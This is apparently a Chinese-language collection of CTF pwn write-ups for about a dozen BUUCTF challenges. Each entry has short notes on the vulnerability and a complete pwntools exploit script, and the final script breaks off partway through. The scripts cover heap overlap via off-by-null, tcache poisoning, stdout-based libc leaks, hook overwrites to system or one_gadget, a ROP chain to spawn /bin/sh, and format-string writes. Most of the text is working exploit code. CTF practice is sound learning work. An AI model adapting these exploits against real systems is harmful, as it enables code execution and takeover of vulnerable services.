ciscn_2019_final_5
思路:
也是一道菜单堆题
没有show功能,对应没有show功能的堆块,我们一般先是看程序有没有开pie
如果开了pie,但是堆块大小没有限制的话并且有offbynull或者offbyone漏洞我们则可以来打堆块重叠来改_IO_stdout_2_1从而泄露libc_base,其实也可以通过将main_arena+96通过特殊数段dup到tcache的bins里面,然后再修改第三位也可以打malloc_hook。
如果没开pie且got表可改的话我们可以通过某些漏洞来造成任意地址改,从而修改free的got表为puts,再改掉堆地址为got表的地址,从而通过free(idx)来泄露libc_base。
由于这题没开pie所以我们选择改free的got表。先看看堆块逻辑。
edit不能编辑idx大于16的堆块包括16
add函数这里会打印堆块的低三位,不知道有什么用,反正我没用上
貌似是用堆块的最低位来存放idx。
申请了两个堆块,确实是如此
add(0x10, 0x18, b'a') #index 0
add(1, 0x30, b'b') #index 1
这里我申请了一个idx为16的堆块,那么堆块地址的最低位是为0的,虽然我们不能edit(16),但是在这里edit(0)既然可以编辑我申请的idx为16的堆块,那么这样就可以轻松造成堆溢出,从而修改已经free掉的堆块的fd指针来实现任意地址改了。
#修改堆信息
add(0x10, 0x18, b'a') #index 0
add(1, 0x30, b'b') #index 1
debug()
free(1)edit(0, p64(0) + p64(0x21) + p64(0x6020e0))
add(2,0x38,b'a'*1)
add(3,0x38,p64(elf.got["free"])+p64(elf.got["atoi"])+p64(elf.got["setvbuf"]))
值得注意的是,后面free(8)来泄露libc_base,以及在修改atoi也需要用idx为8的堆块。不过相信聪明的你一定知道该怎么做。
Exp:
from pwn import *
#p=remote("node5.buuoj.cn",29241)
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
def debug():
gdb.attach(p)
pause()
def add(idx,size,content):
p.sendlineafter(b'your choice: ',b'1')
p.sendlineafter(b'index: ',str(idx))
p.sendlineafter(b'size: ',str(size))
p.sendlineafter(b'content: ',content)
def free(idx):
p.sendlineafter(b'your choice: ',b'2')
p.sendlineafter(b'index: ',str(idx))
def edit(idx,content):
p.sendlineafter(b'your choice: ',b'3')
p.sendlineafter(b'index: ',str(idx))
p.sendafter(b'content: ',content)
add(0x10, 0x18, b'a') #index 0
add(1, 0x30, b'b') #index 1
free(1)
edit(0, p64(0) + p64(0x21) + p64(0x6020e0))
add(2,0x38,b'a'*1)
add(3,0x38,p64(elf.got["free"])+p64(elf.got["atoi"])+p64(elf.got["setvbuf"]))
edit(8,p64(0)+p64(elf.sym["puts"]))
free(8)
free(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["setvbuf"]
system=libc_base+libc.sym["system"]
print(hex(libc_base))
add(0,0x28,b'a'*2)
add(9,0x28,b'a'*2)
edit(3,p64(elf.got["atoi"])*2)
edit(8,p64(elf.sym["setvbuf"])+p64(system))
p.sendlineafter(b'your choice: ',b'sh\x00')
p.interactive()
#
#edit(0,p64(elf.got["setvbuf"]))
sctf_2019_easy_heap
思路:
一道菜单堆题且保护全开
在打印菜单之前首先会开辟一块可读可写可执行空间,并打印其地址。
我们现在来看看他的功能。
free并没有uaf漏洞,这里add申请的堆块大小还是有限制的,而且每次add会打印堆块信息
edit这里存在offbynull漏洞
只不过可惜的是,这里由于开了pie所以我们并没有办法通过unlink来改变堆的控制信息。但是我们可以通过这个来修改prev_size,来造成堆块重叠,从而造成uaf。
#堆块重叠
print(p.recvline())
add(0x428)#0
p.recvuntil(b'Address ')
heap_0=int(p.recv(14),16)
print(hex(heap_0))
add(0xf8)#1
add(0x4f8)#2
add(0x18)#3
add(0x18)#3
free(0)
edit(1,b'a'*0xf0+p64(0x530))
free(2)
debug()
但是这里比较悲催的是这里由于没有show功能,而且也不能改got表,所以一时半会也想不到什么手段可以泄露libc_base。迫于无奈看了一眼wp。这里wp是有两种解法的。不过我对于第一种解法更加容易接受一些。
这里的第一种解法和我的堆块堆叠区别就是,它在堆叠的时候把中间那个堆块也free掉了
add(0x428)#0
add(0xe8)#1
add(0x4f8)#2
add(0x18)#3
add(0x18)#3
free(6)
edit(7,b'a'*0xe0+p64(0x530-0x10))
free(7)
free(8)
然后再申请一个和第一个堆块大小一样的chunk
这样就可以把idx1的fd和bk填充上main_arena+96了。然后再申请编辑即可。
第一次可以来写buf也就是那段可读可写可执行权限的空间,第二次就可以写malloc_hook
这种做法的好处就是不用泄露libc_base。因为main_arena+96通过切割unsorted bin,填充到了tcache bin中的free堆块里面,然后main_arena和malloc_hook靠的又比较近,所以我们就可以以此来打shellcode
第二种解法就是利用IO结构来泄露libc_base。
关于详细的内容可以看看这位师傅的博客
其实第二种解法实现任意地址改的思路和第一种是差不多的。主要就在于第二种做法,通过修改_IO_2_1_stdout来泄露了libc_base。这里修改_IO_2_1_stdout的方法是和第一种做法一样的。下面修改free_hook也是如此
Exp:
exp1
from pwn import *
p=process("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
context(os = 'linux', arch = 'amd64', log_level='debug')
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'Size: ',str(size))
def free(idx):
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b'Index: ',str(idx))
def edit(idx,content):
p.sendlineafter(b'>> ',b'3')
p.sendlineafter(b'Index: ',str(idx))
p.sendlineafter(b'Content: ',content)
p.recvuntil(b'Mmap: ')
buf=int(p.recv(12),16)
# first_attack shellcode -> buf
#堆块重叠
print(p.recvline())
add(0x428)#0
p.recvuntil(b'Address ')
heap_0=int(p.recv(14),16)
print(hex(heap_0))
add(0xf8)#1
add(0x4f8)#2
add(0x18)#3
add(0x18)#3
free(0)
edit(1,b'a'*0xf0+p64(0x530))
free(1)
free(2)
add(0x428)
#add(0xf8)
free(0)
add(0x448)
edit(0,b'\x00'*0x428+p64(0xf8)+p64(buf))
add(0xf8)#1
add(0xf8)#1
edit(2,asm(shellcraft.amd64.sh()))
add(0x5d0)
#second attack
add(0x428)#0
add(0xe8)#1
add(0x4f8)#2
add(0x18)#3
add(0x18)#3
free(6)
edit(7,b'a'*0xe0+p64(0x530-0x10))
free(7)
free(8)
add(0x428)
free(6)
add(0x448)
edit(6,b'\x00'*0x428+p64(0xe8)+p8(0x30))
add(0xe8)
add(0xe8)
edit(8,p64(buf))
add(0x20)
p.interactive()
exp2
from pwn import *
p=process("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
context(os = 'linux', arch = 'amd64', log_level='debug')
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'Size: ',str(size))
def free(idx):
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b'Index: ',str(idx))
def edit(idx,content):
p.sendlineafter(b'>> ',b'3')
p.sendlineafter(b'Index: ',str(idx))
p.sendlineafter(b'Content: ',content)
add(0x420) #index 0
add(0x68) #index 1
add(0x4f0) #index 2
add(0x20) #index 3
free(0)
edit(1, p64(0)*12 + p64(0x4a0))
free(1)
free(2)
add(0x420) #index 0
free(0)
add(0x440) #index 0
edit(0, p64(0)*0x85 + p64(0x71) + p8(0x60) + p8(0xc7))
add(0x60) #index 1
add(0x60) #index 2
edit(2, p64(0xfbad1800) + p64(0)*3 + b'\x58')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))
# second_attack free_hook -> system
add(0x540) #index 4
add(0x410) #index 5
add(0x28) #index 6
add(0x4f0) #index 7
add(0x20) #index 8
free(5)
edit(6, p64(0)*4 + p64(0x450))
free(6)
free(7)
add(0x410) #index 5
free(5)
add(0x430) #index 5
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(5, b'\x00'*0x410 + p64(0) + p64(0x71) + p64(free_hook))
add(0x20) #index 6
add(0x20) #index 7
edit(7, p64(system))
# pwn
add(0x10) #index 8
edit(8, b'/bin/sh\x00')
free(8)
p.interactive()
asis2016_b00ks
思路:
又是一道菜单堆题目,先check一下。
OK开了pie,got表也是不可改的
在整个菜单开始之前,我们还需要先输入我们的书名。
再来看看add和free这两个函数
add这里我们可以自定义堆块的大小,不过貌似书名的size不能超过32,但是也没看到代码吧这个功能实现。我们接着往下看。
这个free函数貌似存在uaf漏洞?。
OK漏洞点在case5也就是change 哪里。这里有一个offbynull漏洞。
可以看到这里输入完之后会在末尾添加\x00,我们来看看这里的末尾是什么位置
可以看到这里的name后面正是我们的堆地址,那么我们可以先通过这个来泄露堆地址。
#leak heap_addr
p.sendlineafter(b'Enter author name: ',b'a'*0x20)add(0xf8,b'a'*0xf8,0xf8,b'b'*0xe8)
add(0xf8,b'c'*0xf8,0xf8,b'd'*0xf8)
show()
#change(b'a'*0x1)
p.recvuntil(b'Author: ')
p.recv(0x20)heap_base=u64(p.recv(6).ljust(8,b'\x00'))
这里我们为什么要申请0xf8大小的堆块也是有讲究的,如果idx1申请小了就会导致我们offbynull攻击的时候,改不到堆信息,所以大一点方便泄露libc_base也便于我们篡改堆的结构体。
这里是idx1的堆信息,如果我们申请的堆块比较小的话,那么最后三位可能为0x020,那么这样offbynull就无法利用了。然后我们现在就可以该堆输入和输出的地方了,由于edit也会造成offbynull,所以这里不能用p64位打包
#leak libc_base
a = int(hex(heap_base-0x10)[-8:],16)
b=int(hex(heap_base-0x10)[-12:-8],16)
print(hex(a))
print(hex(b))edit(1,b'a'*0x10)
print(hex(heap_base))
free(2)
edit(1,b'b'*0xe0+p64(0x1)+p64(heap_base+0x30)+p32(a)+p16(b))
change(b'a'*0x20)
show()
p.recvuntil(b'Name: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10-libc.sym["__malloc_hook"]
然后我们再接着edit修改idx1的输入的地方就可以打one_gadget了
Exp:
from pwn import *
#p=process("./pwn")
elf=ELF("./pwn")
p=remote("node5.buuoj.cn",28464)
libc=ELF("/home/giant/Desktop/buuctf5/libc-2.23_16_64.so")
#libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def debug():
gdb.attach(p)
pause()
def add(Nsize,name,Csize,content):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'Enter book name size: ',str(Nsize))
p.sendlineafter(b'Enter book name (Max 32 chars): ',name)
p.sendlineafter(b'Enter book description size: ',str(Csize))
p.sendlineafter(b"Enter book description: ",content)
def free(idx):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'Enter the book id you want to delete: ',str(idx))
def edit(idx,content):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'Enter the book id you want to edit: ',str(idx))
p.sendlineafter(b'Enter new book description: ',content)
def show():
p.sendlineafter(b'> ',b'4')
def change(name):
p.sendlineafter(b'> ',b'5')
p.sendlineafter(b'Enter author name: ', name)
p.sendlineafter(b'Enter author name: ',b'a'*0x20)
add(0xf8,b'a'*0xf8,0xf8,b'b'*0xe8)
add(0xf8,b'c'*0xf8,0xf8,b'd'*0xf8)
show()
#change(b'a'*0x1)
p.recvuntil(b'Author: ')
p.recv(0x20)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))
a = int(hex(heap_base-0x10)[-8:],16)
b=int(hex(heap_base-0x10)[-12:-8],16)
print(hex(a))
print(hex(b))
edit(1,b'a'*0x10)
print(hex(heap_base))
free(2)
edit(1,b'b'*0xe0+p64(0x1)+p64(heap_base+0x30)+p32(a)+p16(b))
change(b'a'*0x20)
show()
p.recvuntil(b'Name: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
a = int(hex(free_hook)[-8:],16)
b=int(hex(free_hook)[-12:-8],16)
print(hex(libc_base))
ogg=libc_base+0x4526a
edit(1,p32(a)+p16(b))
edit(1,p64(ogg))
free(1)
p.interactive()
linkctf_2018.7_babypie
思路:
一道开了pie和canary的ret2text,只不过是开了canary和pie而已。
这里第一个read可以覆盖掉canary的最后一个字节使其不为\x00从而泄露canary,再在第二个字节里面填回去即可绕过canary保护,再改返回地址为后门函数即可
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",25501)
p.send(b'a'*0x29)
pause()
p.recvuntil(b'Hello ')
p.recv(0x29)
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
payload=b'a'*0x28+p64(canary)+b'a'*8+p8(0x42)
p.send(payload)
p.interactive()
强网杯2019 拟态 STKOF
思路:
pwn2通了pwn1也能通
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",28487)
elf = ELF('./pwn2')
libc = ELF('/home/giant/Desktop/buuctf5/libc-2.23_16-32.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def get_payload():
p = b'a'*0x110
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x080495a3) # int 0x80
return p
payload = get_payload()
p.recv()
p.send(payload)
p.interactive()
picoctf_2018_echooo
思路:
就是格式化字符串漏洞,flag.txt还写在栈上面,很简单的一道题
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",29861)
#gdb.attach(p,'b *0x0804874F')
payload=b'%8$s'
p.sendlineafter(b"> ",payload)
print(p.recv())
pause()
ciscn_2019_s_6
思路:
这道题好像出现好几次了吧,图我都懒得放了直接放exp吧
Exp:
from pwn import *
from struct import pack
#p=process("./pwn")
p=remote("node5.buuoj.cn",28719)
context(os = 'linux', arch = 'amd64', log_level='debug')
libc=ELF("/home/giant/Desktop/buuctf5/libc_18_64.so")
def debug():
gdb.attach(p)
pause()
def add(size, name, call):
p.sendlineafter(b'choice:', '1')
p.sendlineafter(b'name\n', str(size))
p.sendafter(b'name:\n', name)
p.sendafter(b'call:\n', call)
def show(index):
p.sendlineafter(b'choice:', '2')
p.sendlineafter(b'index:\n', str(index))
def free(index):
p.sendlineafter(b'choice:', '3')
p.sendlineafter(b'index:\n', str(index))
add(0x418,b'tom',b'a'*8)
add(0x68,b'tom',b'a'*8)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(libc_base))
add(0x68,b'tom',b'a'*8)
free(1)
free(2)
free(1)
add(0x68,p64(free_hook),b'a'*8)
add(0x68,b'/bin/sh\x00',b'a'*8)
add(0x68,b'/bin/sh\x00',b'a'*8)
add(0x68,p64(system),b'a'*8)
free(4)
p.interactive()
#debug()
roarctf_2019_realloc_magic
思路:
又是一道能让我学到很多东西的题目。
也是一道菜单堆题,但是我们没有见到我们的老盆友malloc,反而看到了一副新面孔realloc。
这里先介绍一下realloc吧。
听名字,就感觉像是reset malloc。重新分配堆块的意思,事实上也是如此,只不过realloc有两个参数
第一个参数是一个指针型,第二个参数是一个size。如果你想吃快餐,那么记住以下四条就可以了
1.当size为0,这时就相当于free()函数,同时返回值为null
2.当指针为0,size大于0,相当于malloc函数
3.size小于等于原来的size,则在原先的基础上缩小,多余的free掉
4.size大于原来的size,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉。
那如果想细嚼慢咽,就对着源码分析为什么会这样。那么现在来看看这道题
fr函数存在uaf。
re函数可以往realloc_ptr里面写值
这里还有一个666的选项,作用就是将realloc_ptr清零,不过只可以用一次。很明显这题没有可以泄露的函数,那么我们就只能去打IO去泄露libc_base了关于这个。我也写了一篇基础的入门文章,或者去网上搜也行。那么我们可以先通过将main_arena搞到bin里面再通过修改它的低位从而在_IO_stdout_2_1附近申请一块内存,然后修改_IO_write_base,从而泄露libc_base。
这里需要结合realloc的特性
realloc(0x30, b'a')
realloc(0, '')
realloc(0x80, b'a')
realloc(0, '')
realloc(0x10,b'a')
realloc(0, '')
realloc(0x80, b'a')
for i in range(7):
free()
#realloc(0x80, b'a')
realloc(0, '')
realloc(0x30,b'a')realloc(0x50, p64(0)*7+p64(0x51)+p8(0x60)+p8(0xc7))
realloc(0x80, b'a')
realloc(0,"")
realloc(0x80, b'a')
realloc(0,"")
realloc(0x80, p64(0xfbad1887) + p64(0)*3 + p8(0x58))
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))
值得一提的是在这里不能把666用了,这里需要通过realloc的特性去修改掉的 unsorted bin 中的 0x80 大小的 chunk 的 size改为了0x51,不然realloc(0,"")任然申请不到_IO_stdout的地址。这里的666(也就是只能使用一次的(back),需要在申请并且修改完_IO_stdout_2_1再使用,不然堆块就会一直卡在libc哪里,无法通过realloc申请回来
然后后面就是打free_hook了,和泄露libc_base一样方法,只是size需要注意一下。那么接下看exp吧
Exp:
from pwn import *
r = remote("node5.buuoj.cn",27290)
#r = process("./roarctf_2019_realloc_magic")
#r=process("./pwn")
elf = ELF("./pwn")
libc = ELF('/home/giant/Desktop/buuctf5/libc_2.27_18_64.so')
def debug():
gdb.attach(r)
pause()
def realloc(size, content):
r.recvuntil(">> ")
r.sendline('1')
r.recvuntil("Size?\n")
r.sendline(str(size))
r.recvuntil("Content?\n")
r.send(content)
def free():
r.recvuntil(">> ")
r.sendline('2')
def back():
r.recvuntil(">> ")
r.sendline('666')
realloc(0x30, b'a')
realloc(0, '')
realloc(0x80, b'a')
realloc(0, '')
realloc(0x10,b'a')
realloc(0, '')
realloc(0x80, b'a')
for i in range(7):
free()
#realloc(0x80, b'a')
realloc(0, '')
realloc(0x30,b'a')
realloc(0x50, p64(0)*7+p64(0x51)+p8(0x60)+p8(0xc7))
realloc(0x80, b'a')
realloc(0,"")
realloc(0x80, b'a')
realloc(0,"")
realloc(0x80, p64(0xfbad1887) + p64(0)*3 + p8(0x58))
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
back()
realloc(0x20, b'a')
realloc(0, '')
realloc(0x90, b'a')
realloc(0, '')
realloc(0x10, b'a')
realloc(0, '')
realloc(0x90, b'a')
for i in range(7):
free()
realloc(0, '')
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
realloc(0x20, b'a')
payload = p64(0)*5 + p64(0x51) + p64(free_hook - 0x8)
realloc(0x40, payload)
realloc(0, '')
realloc(0x90, b'a')
realloc(0, '')
realloc(0x90, b'/bin/sh\x00' + p64(system))
#pwn
free()
r.interactive()
SWPUCTF_2019_p1KkHeap
思路:
菜单堆题
add函数不能申请大小超过0x100大小的堆块
free函数存在uaf漏洞,但是不完全。因为这里只是没有把指针清空,但是把size清空了。
而且这里的free函数也只能使用两次
这题我们可以打tcache结构体来实现libc_base泄露和任意地址写。
最上面那个大小为0x251的堆块里面存放着tcache中每个bins当前放了多少个堆块,以及存放堆块的地址等信息,我们可以通过uaf来申请到这一块内存从而来修改tcache当前放了多少堆块,已经相关信息来实现任意地址写和泄露libc_base。
由于这个题目还开了沙盒,所以我们不能直接getshell,这里程序也给了我们一段可读可写可执行的空间
所以我们可以先在这里填入orw,再改malloc_hook为这个地址即可获得flag
Exp:
from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",26834)
elf=ELF("./pwn")
context(os = 'linux', arch = 'amd64', log_level='debug')
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
def debug():
gdb.attach(p)
pause()
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'Your Choice:', '1')
p.sendlineafter(b'size: ', str(size))
def show(index):
p.sendlineafter(b'Your Choice:', '2')
p.sendlineafter(b'id: ', str(index))
def edit(index, content):
p.sendlineafter(b'Your Choice:', '3')
p.sendlineafter(b'id: ', str(index))
p.sendafter(b'content: ', content)
def free(index):
p.sendlineafter(b'Your Choice:', '4')
p.sendlineafter(b'id: ', str(index))
add(0xf8)#0
free(0)
free(0)
show(0)
p.recvuntil(b'content: ')
heap1=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(heap1))
buf=0x66660000
add(0xf8)#1
edit(1,p64(heap1-0x260))
add(0xf8)#2
add(0xf8)#3
edit(3,p64(0)+p64(0x251)+p64(0)+p8(0x7)*7+p64(0)*10+b'\x00'+p64(buf))
add(0x18)#4
free(2)
show(2)
p.recvuntil(b'content: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
print(hex(libc_base))
malloc_hook=libc_base+libc.sym["__malloc_hook"]
add(0x58)#5
edit(5,asm(shellcraft.cat(b'/flag')))
edit(3,p64(0)+p64(0x251)+p64(0)+p8(0x7)*7+p64(0)*10+b'\x00'+p64(malloc_hook)*2)
add(0x68)
edit(6,p64(buf))
add(0x10)
print(p.recv())
pause()
SWPUCTF_2019_login
思路:
又是一道经典的非栈上格式化字符串漏洞,注意一下就好了
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')
#p = process('./pwn')
p = remote("node5.buuoj.cn",25986)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
libc = ELF('libc-2.27_18_32.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
p.sendlineafter(b'name: \n', b'/bin/sh\x00')
# leak_libc_base
payload = b'%15$p'
p.sendlineafter(b'\n', payload)
p.recvuntil(b'0x')
libc_base = int(p.recv(8), 16) - libc.sym['__libc_start_main'] - 241
print(' libc_base -> ', hex(libc_base))
# leak_ret
payload = b'%6$p'
p.sendlineafter(b'Try again!\n', payload)
p.recvuntil(b'0x')
ret = int(p.recv(8), 16) - 0xc
print(' ret -> ', hex(ret))
# ret -> system
system = libc_base + libc.sym['system']
print(' system -> ', hex(system))
low_8 = system & 0xff
low_16 = (system >> 8) & 0xff
low_24 = (system >> 16) & 0xff
low_32 = (system >> 24) & 0xff
low = [low_8, low_16, low_24, low_32]
for i in range(len(low)):
ret_low_8 = ret & 0xff
payload = b'%' + str(ret_low_8 + i).encode() + b'c%6$hhn'
p.sendlineafter(b'Try again!\n', payload)
p.sendlineafter(b'Try again!\n', b'stopstop')
p.recvuntil(b'stopstop')
payload = b'%' + str(low[i]).encode() + b'c%10$hhn'
p.sendlineafter(b'Try again!\n', payload)
p.sendafter(b'Try again!\n', b'wllmmllw\x00')
p.interactive()
de1ctf_2019_weapon
思路:
又是一道菜单堆题
思路很简单,就是每次需要去爆破,去调试有点麻烦。这里存在一个uaf漏洞
但是并没有给我们show函数,那么就需要通过修改_IO_stdout_2_1来泄露libc_base了,但是我们的malloc对应size也是有限制的
不过这里庆幸我们还可以申请到0x60大小的。省去了一些麻烦。那么由于这里存在uaf漏洞,那么可以通过这个漏洞再在堆上申请一块内存,造成堆块重叠,然后再释放,就可以有unsorted bin堆块了。然后我们在free,add一下就可以发现main_arena+88在fastbin上面了,然后我们再爆破一位就可以在_IO_stdout_2_1上面申请内存了。
add(0x50, 0, b'a') add(0x50, 1, b'a') add(0x60, 2, b'a') add(0x50, 3, b'a') add(0x10, 4, b'a') edit(0, b'a'*0x40 + p64(0) + p64(0x61)) free(0) free(1) free(0) edit(0, p8(0x50)) # 修改 fd 指向,方便修改 size add(0x50, 5, b'a') add(0x50, 6, p64(0) + p64(0x131)) # 修改 size free(2) # 先 free ,利用 unsorted bin 的特性将 main_arena_xx 放入 fd 中 free(1) add(0x50, 7, b'a') # main_arena_xx 放入 fd 中 add(0x50, 8, p8(0xdd) + p8(0xd5)) # 修改 main_arena_xx 到 _IO_2_1_stdout_
注意这里的p8(0xdd)+p8(0xd5)这里的d5是需要爆破一位的,也就是只有1/16的成功率,不过在本地打的话成功率会高很多,可以在gdb里面调试看,不一定会是d5,每个人的机器不一样。
那么泄露libc_base了之后就是经典的uaf打malloc_hook了,当然这里需要先将unsorted bin给还原,或者想办法修复为合理的值,不然可能申请不了chunk。
Exp:
from pwn import *
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def debug():
gdb.attach(p)
pause()
def add(idx,size,content):
p.sendlineafter(b'choice >> ',b'1')
p.sendlineafter(b'wlecome input your size of weapon: ',str(size))
p.sendlineafter(b'input index: ',str(idx))
p.sendafter(b'input your name:',content)
def edit(idx,content):
p.sendlineafter(b'choice >> ',b'3')
p.sendlineafter(b'input idx: ',str(idx))
p.sendafter(b'new content:\n',content)
def free(idx):
p.sendlineafter(b'choice >> ',b'2')
p.sendlineafter(b'input idx :',str(idx))
add(0x50, 0, b'a')
add(0x50, 1, b'a')
add(0x60, 2, b'a')
add(0x50, 3, b'a')
add(0x10, 4, b'a')
edit(0, b'a'*0x40 + p64(0) + p64(0x61))
free(0)
free(1)
free(0)
edit(0, p8(0x50)) # 修改 fd 指向,方便修改 size
add(0x50, 5, b'a')
add(0x50, 6, p64(0) + p64(0x131)) # 修改 size
free(2) # 先 free ,利用 unsorted bin 的特性将 main_arena_xx 放入 fd 中
free(1)
add(0x50, 7, b'a') # main_arena_xx 放入 fd 中
add(0x50, 8, p8(0xdd) + p8(0xd5)) # 修改 main_arena_xx 到 _IO_2_1_stdout_
edit(1, b'a'*0x40 + p64(0) + p64(0x61)) #接下来这部分是修改 size ,不然申请不了
free(0) #因为堆块的大小之前被 unsorted bin 的特性改变了
free(1)
free(0)
edit(0, p8(0xb0))
add(0x50, 9, b'a')
add(0x50, 10, p64(0) + p64(0x71))
# _IO_2_1_stout_ -> leak_libc_base
add(0x60, 11, b'a')
payload = b'a'*0x33 + p64(0xfbad1887) + p64(0)*3 + p8(0xa0) + p8(0xd2)
add(0x60, 12, payload)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1896 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))
sleep(1)
# secode_attack malloc_hook -> one_gadget
fake_chunk = libc_base + libc.sym['__malloc_hook'] - 0x23
one_gadget = libc_base + 0xf1147
add(0x60, 13, b'a')
free(13)
edit(13, p64(fake_chunk))
add(0x60, 14, b'a')
add(0x60, 15, b'a'*0x13 + p64(one_gadget))
p.sendlineafter(b'>> \n', '1')
p.sendlineafter(b': ', str(0x10))
p.sendlineafter(b': ', str(16))
p.interactive()
ciscn_2019_n_7
思路:
菜单堆题
没有free功能,且libc版本为2.23,盲猜是house of orange。但是edit函数并没有堆溢出,而且add也只能执行一次。所以排除这种做法
这里送了一个礼物,也就是直接送了libc_base的基地址,那么我们在看看怎么实现任意地址改
这里的edit很明显可以任意地址改,这种题。。。
但是由于我们已经申请过一次了,且程序中没有free函数。那么打malloc_hook和free_hook函数是不显示的,所以这里我们需要打exit_hook。不过可惜的是本地的ogg貌似的失效了。但是远程还是可以打通的。关于exit_hook怎么寻找,网上有很多教程,这里就不赘述了
Exp:
from pwn import *
from struct import pack
p=process("./pwn")
#p=remote("node5.buuoj.cn",29181)
context(os = 'linux', arch = 'amd64', log_level='debug')
libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def debug():
gdb.attach(p)
pause()
def add(size, name):
p.sendlineafter(b'Your choice-> \n', '1')
p.sendlineafter(b'Input string Length: \n', str(size))
p.sendafter(b'Author name:\n', name)
def show():
p.sendlineafter(b'Your choice-> \n', '666')
def edit(name,content):
